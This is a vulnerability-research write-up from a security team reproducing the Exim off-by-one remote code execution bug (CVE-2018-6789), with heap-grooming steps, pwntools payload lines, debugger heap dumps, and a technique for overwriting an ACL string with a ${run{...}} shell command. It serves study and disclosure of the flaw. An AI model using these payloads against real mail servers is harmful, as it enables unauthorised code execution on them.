Author:Hcamael@Knownsec 404 Team
Chinese Version: https://paper.seebug.org/557/

Not too long ago, meh dug an Exim RCE vulnerability. The RCE vulnerability is less constrained, as it can still be used even if PIE is enabled .

During the process of recurring the loophole, I have found that in the process of the recurrence, the actual situation of the stack could not be constructed as Meh described, and I was stuck here for a long time ( I guess it was because of the different environment). Then I decided I should first understand the general idea of meh before I construct the heap. The whole work is difficult, but I made it at last.

Recurring Environment Construction

The environment is roughly the same as the last time. First, go to the patch commit of the vulnerability on github.

Then switch the branch to the last commit

$ git clone https://github.com/Exim/exim.git
$ git checkout 38e3d2dff7982736f1e6833e06d4aab4652f337a
$ cd src
$ mkdir Local

Still use the last Makefile:

$ cat Local/makefile | grep -v "#"
BIN_DIRECTORY=/usr/exim/bin
CONFIGURE_FILE=/usr/exim/configure
EXIM_USER=ubuntu
SPOOL_DIRECTORY=/var/spool/exim
ROUTER_ACCEPT=yes
ROUTER_DNSLOOKUP=yes
ROUTER_IPLITERAL=yes
ROUTER_MANUALROUTE=yes
ROUTER_QUERYPROGRAM=yes
ROUTER_REDIRECT=yes
TRANSPORT_APPENDFILE=yes
TRANSPORT_AUTOREPLY=yes
TRANSPORT_PIPE=yes
TRANSPORT_SMTP=yes
LOOKUP_DBM=yes
LOOKUP_LSEARCH=yes
LOOKUP_DNSDB=yes
PCRE_CONFIG=yes
FIXED_NEVER_USERS=root
AUTH_CRAM_MD5=yes
AUTH_PLAINTEXT=yes
AUTH_TLS=yes
HEADERS_CHARSET="ISO-8859-1"
SUPPORT_TLS=yes
TLS_LIBS=-lssl -lcrypto
SYSLOG_LOG_PID=yes
EXICYCLOG_MAX=10
COMPRESS_COMMAND=/usr/bin/gzip
COMPRESS_SUFFIX=gz
ZCAT_COMMAND=/usr/bin/zcat
SYSTEM_ALIASES_FILE=/etc/aliases
EXIM_TMPDIR="/tmp"

Compile and install:

$ make -j8
$ sudo make install

The startup is the same as last time. But when the debug is enabled, all debug information is output, and if not so, the layout of the heap will be impacted. However, although it has an impact, it only affects the details of the structure. The overall construction idea is still as what meh wrote in his paper.

The recurrence is based on a mode that only outputs partial debug information:

$ /usr/exim/bin/exim -bdf -dd
# Output complete debug information using -bdf -d+all
# Do not open debug mode using -bdf

Vulnerability Recurrence

I think the description of the vulnerability principle and related functions has been very detailed in meh's article, so I just wrote my recurrence process.

STEP 1

First you need to construct a released chunk. It does not have to be of 0x6060 in size but only have to meet a few conditions:

This chunk is divided into three parts, one part is obtained by store_get, which is used to store the base64 decoded data and cause the off by one vulnerability to cover the size of the next chunk. The minimum chunk obtained by store_get is 0x2000, and the heap header is 0x10 and the heap header implented by exim is also 0x10. So it is a heap block of at least 0x2020.

The second part is used to put sender_host_name. Because the memory of this variable is obtained by store_malloc, there is no size limit.

The third part is also a heap block of at least 0x2020 because it needs to construct a fake chunk for the check of free.

Unlike meh, I get a 0x4041 heap by unrecognized command and then release it with EHLO:

p.sendline("\x7f"*4102)
p.sendline("EHLO %s"%("c"*(0x2010)))
# heap
0x1d15180 PREV_INUSE {
  prev_size = 0x0,
  size = 0x4041,
  fd = 0x7f9520917b78,
  bk = 0x1d1b1e0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x1d191c0 {
  prev_size = 0x4040,
  size = 0x2020,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}

0x1d15180 is a chunk of size 0x4040 obtained by unrecognized command. It was released after the EHLO command was excuted. 0x1d191c0 is the sender_host_name of inuse. These two parts constitute a chunk of 0x6060.

STEP 2

The current situation is that sender_host_name is at the bottom of the 0x6060 chunk, and we need to move it to the middle.

This part of the idea is the same as meh, first of all occupy the top 0x2020 chunk with unrecognized command

The size of the memory is ss = store_get(length + nonprintcount * 3 + 1); after unrecognized command is excuted.

By calculation, you only need to make length + nonprintcount * 3 + 1 > yield_length to apply for a chunk with store_get function.

P.sendline("\x7f"*0x800)

At this time we can use EHLO to release the previous sender_host_name and then reset it so that sender_host_name is in the middle of the 0x6060 size chunk.

p.sendline("EHLO %s"%("c"*(0x2000-9)))
# heap
0x1d15180 PREV_INUSE {
  prev_size = 0x0,
  size = 0x2021,
  fd = 0x7f9520917b78,
  bk = 0x1d191a0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x1d171a0 {
  prev_size = 0x2020,
  size = 0x2000,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}
0x1d191a0 PREV_INUSE {
  prev_size = 0x63636363636363,
  size = 0x6061,
  fd = 0x1d15180,
  bk = 0x7f9520917b78,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x1d1f200 {
  prev_size = 0x6060,
  size = 0x2020,
  fd = 0x1d27380,
  bk = 0x2008,
  fd_nextsize = 0x6363636363636328,
  bk_nextsize = 0x6363636363636363
}
STEP 3

Now the layout of our heap is:

  • The first unused 0x2020 size chunk
  • The second 0x2000 size block is used assender_host_name
  • The third block is a 0x6060 size chunk that has not been used. It will merge with the heap afterwards.

Let's go back and think about the setting of the size of each chunk.

CHUNK 1

The first chunk is used to trigger the off by one vulnerability, which is used to modify the size of the second chunk, which can only overflow 1 byte.

store_get at least allocates a chunk of 0x2000 in size and can store data of 0x2000 in size.

This means if store_get is of its minimun size, you can only overflow the pre_size bit of the second chunk.

Then because (0x2008-1)%3==0, we can exploit the vulnerability of b64decode function and apply for a 0x2020 chunk that can store 0x2008 size of data, and then overflow a byte to the size of the next chunk.

CHUNK2

As for the second chunk, because only one byte can be modified, so it can only be extended from 0x00 to 0xf0.

Second, we assume that the original chunk size of the second chunk is 0x2021, and then it is modified to 0x20f1. We also need to consider whether chunk+0x20f1 is controllable, because we need to forge a fake chunk to bypass the security check of free function .

After several times of debugging, it is found that when the size of the second chunk is 0x2001, it is more convenient for subsequent use.

CHUNK3

The third chunk only requires to be greater than a minimum size (0x2020) that a store_get request can get.

STEP 4

We will trigger the off by one vulnerability according to the third step.

payload1 = "HfHf"*0xaae
p.sendline("AUTH CRAM-MD5")
p.sendline(payload1[:-1])
# heap
0x1d15180 PREV_INUSE {
  prev_size = 0x0,
  size = 0x2021,
  fd = 0x1d191b0,
  bk = 0x2008,
  fd_nextsize = 0xf11ddff11ddff11d,
  bk_nextsize = 0x1ddff11ddff11ddf
}
0x1d171a0 PREV_INUSE {
  prev_size = 0x1ddff11ddff11ddf,
  size = 0x20f1,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}
0x1d19290 PREV_INUSE IS_MMAPED {
  prev_size = 0x6363636363636363,
  size = 0x6363636363636363,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}

And construct a fake chunk in the third chunk.

payload = p64(0x20f0)+p64(0x1f31)
p.sendline("AUTH CRAM-MD5")
p.sendline((payload*484).encode("base64").replace("\n",""))
# heap
0x1d15180 PREV_INUSE {
  prev_size = 0x0,
  size = 0x2021,
  fd = 0x1d191b0,
  bk = 0x2008,
  fd_nextsize = 0xf11ddff11ddff11d,
  bk_nextsize = 0x1ddff11ddff11ddf
}
0x1d171a0 PREV_INUSE {
  prev_size = 0x1ddff11ddff11ddf,
  size = 0x20f1,
  fd = 0x6363636363636363,
  bk = 0x6363636363636363,
  fd_nextsize = 0x6363636363636363,
  bk_nextsize = 0x6363636363636363
}
0x1d19290 PREV_INUSE {
  prev_size = 0xf0,
  size = 0x1f31,
  fd = 0x20f0,
  bk = 0x1f31,
  fd_nextsize = 0x20f0,
  bk_nextsize = 0x1f31
}
0x1d1b1c0 PREV_INUSE {
  prev_size = 0x2020,
  size = 0x4041,
  fd = 0x7f9520918288,
  bk = 0x7f9520918288,
  fd_nextsize = 0x1d1b1c0,
  bk_nextsize = 0x1d1b1c0
}
STEP 5

By releasing sender_host_name, an original 0x2000 chunk is expanded to 0x20f0, but it does not trigger smtp_reset.

p.sendline("EHLO a+")
# heap
0x1d171a0 PREV_INUSE {
  prev_size = 0x1ddff11ddff11ddf,
  size = 0x20f1,
  fd = 0x1d21240,
  bk = 0x7f9520917b78,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0
}
0x1d19290 {
  prev_size = 0x20f0,
  size = 0x1f30,
  fd = 0x20f0,
  bk = 0x1f31,
  fd_nextsize = 0x20f0,
  bk_nextsize = 0x1f31
}
STEP 6

Meh provides a way to RCE without leaking the address.

Exim has an expand_string function. When it processes the arguments with ${run{xxxxx}} or xxxx, it will be executed as a shell command.

The acl_check function checks the configuration of each command, and then calls the expand_string function on the string of configuration information.

The configuration information of my recurrence environment is as follows:

pwndbg> x/18gx &acl_smtp_vrfy
0x6ed848 <acl_smtp_vrfy>:   0x0000000000000000  0x0000000000000000
0x6ed858 <acl_smtp_rcpt>:   0x0000000001cedac0  0x0000000000000000
0x6ed868 <acl_smtp_predata>:    0x0000000000000000  0x0000000000000000
0x6ed878 <acl_smtp_mailauth>:   0x0000000000000000  0x0000000000000000
0x6ed888 <acl_smtp_helo>:   0x0000000000000000  0x0000000000000000
0x6ed898 <acl_smtp_etrn>:   0x0000000000000000  0x0000000000000000
0x6ed8a8 <acl_smtp_data>:   0x0000000001cedad0  0x0000000000000000
0x6ed8b8 <acl_smtp_auth>:   0x0000000001cedae0  0x0000000000000000

So I have three commands rcpt, data and auth to use.

For example, the current content of the 0x0000000001cedae0 address is:

Pwndbg> x/s 0x0000000001cedae0
0x1cedae0: "acl_check_auth"

If I change the string to ${run{/usr/bin/touch /tmp/pwned}}, then when I send the AUTH command to the server, exim will execute /usr/bin/touch /tmp/pwned.

Modify the next pointer of storeblock to store the heap address of the acl_check_xxxx string -> call smtp_reset -> the heap block storing the acl_check_xxxx string is released into the unsortedbin -> apply for a heap, and when the address of the heap is the same as the heap block storing acl_check_xxxx string, we can override the string that the string executes for the command -> RCE

STEP 7

According to the last step, we first need to modify the next pointer. The original size of the second chunk is 0x2000, and it will be 0x20f0 after modification. The address of the next storeblock is chunk+0x2000 which is also the address of the next pointer.

So we apply for a chunk of 0x2020 and we can override the next pointer:

P.sendline("AUTH CRAM-MD5")
P.sendline(base64.b64encode(payload*501+p64(0x2021)+p64(0x2021)+p32(address)))

The second chunk is allocated when the AUTH CRAM-MD5 command is executed, so the memory of b64decode is obtained from next_yield.

This means we can control the size of yield_length when executing b64decode. At first, one of my ideas is to use the off by one vulnerability to modify next, which is, from my point of view, what meh said about partial write. But I fialed.

Pwndbg> x/16gx 0x1d171a0+0x2000
0x1d191a0: 0x0063636363636363 0x0000000000002021
0x1d191b0: 0x0000000001d171b0 0x0000000000002000

The current value of the next pointer is 0x1d171b0. I used to try to modify 1-2 bytes, but the heap address of the acl_check_xxx character is 0x1ced980.

We will need to modify 3 bytes, so this idea won't work.

So there is another idea. Because exim handles each socket connection by fork, so we can blast the base address of the heap, which only needs 2bytes.

STEP 8

After solving this problem, it is to fill the heap, and then modify the string that acl_check_xxx pointed to.

Then attach the screenshot:

Summary

I have seen others' exp on github, and they used blasting, so it is possible that I did not really understood partial write.

In addition, by comparing with exp on github, it is found that for different versions of exim, acl_check_xxx have different heap offsets. So if you need RCE exim, you need to meet the following conditions:

  1. Versions with the vulnerability (less than or equal to the version of commit 38e3d2dff7982736f1e6833e06d4aab4652f337a)
  2. Enable CRAM-MD5 authentication, or other authentication with b64decode function
  3. Need the binary of the exim to calculate the heap offset
  4. Need the startup parameters of exim

Reference

1.https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/ 2.https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1 3.https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1024/